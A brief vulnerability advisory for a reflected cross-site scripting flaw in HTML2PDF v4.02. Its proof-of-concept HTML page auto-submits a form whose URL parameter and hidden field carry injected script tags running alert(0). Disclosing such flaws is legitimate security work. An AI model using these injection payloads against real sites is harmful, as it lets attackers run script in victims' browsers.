Home
Consulting
Advisories
Software
Articles
Contact

HTML2PDF v4.02 Reflected Cross-site Scripting

Legacy Advisories

Description

A reflected cross-site scripting vulnerability in HTML2PDF v4.02 can be exploited to execute arbitrary JavaScript.

Proof Of Concept

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/html2pdf_v4.02/examples/forms.php?vuehtml=0%3cScRiPt%3ealert(0)%3c%2fScRiPt%3e">
            <input type="hidden" name="test" value="<script>alert(0)</script>" />
   
        </form>
    </body>
</html>


Copyright © 2018 AutoSec Tools LLC